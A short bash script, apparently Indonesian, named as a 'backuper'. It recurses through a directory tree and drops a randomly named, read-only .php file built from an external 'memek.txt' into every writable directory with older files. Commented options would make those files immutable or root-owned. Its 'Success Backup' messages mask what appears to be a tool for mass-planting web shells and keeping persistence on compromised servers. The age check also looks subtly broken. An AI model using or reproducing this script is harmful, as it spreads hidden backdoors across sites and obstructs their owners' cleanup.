#!/bin/bash

setTime() {
    local timestamp
    timestamp=$(date -d '22-09-2020 00:00:00' +%s)

    if [ $? -ne 0 ]; then
        echo "Date salah!"
        exit 1
    else
        echo "$timestamp"
    fi
}

recursive_directory() {
    local dir=$1
    local timestamp
    timestamp=$(setTime)

    if [ ! -d "$dir" ]; then
        echo "Directory not found: $dir"
        exit 1
    fi

    find "$dir" -type d -exec bash -c '
        for d; do
            if [ -w "$d" ] && [ ! -z "$(find "$d" -maxdepth 1 -type f ! -newermt "$timestamp" -exec echo -n . \; )" ]; then
                random_name=$((RANDOM)).php
                content=$(<memek.txt)
                echo "$content" > "$d/$random_name"
                # chown root:root "$d/$random_name"
                chmod 0444 "$d/$random_name"
                #chattr +i "$d/$random_name"
                #chattr +a "$d/$random_name"
                echo "Success Backup : $d/$random_name"
            fi
        done
    ' bash {} +
}

# Gunakan argumen path dari command line
if [ $# -eq 1 ]; then
    recursive_directory "$1"
else
    echo "Usage: $0 <path>"
    exit 1
fi

# sed -i 's/\r//' backuper.sh
# chmod +x backuper.sh backuper.sh /path/to/dir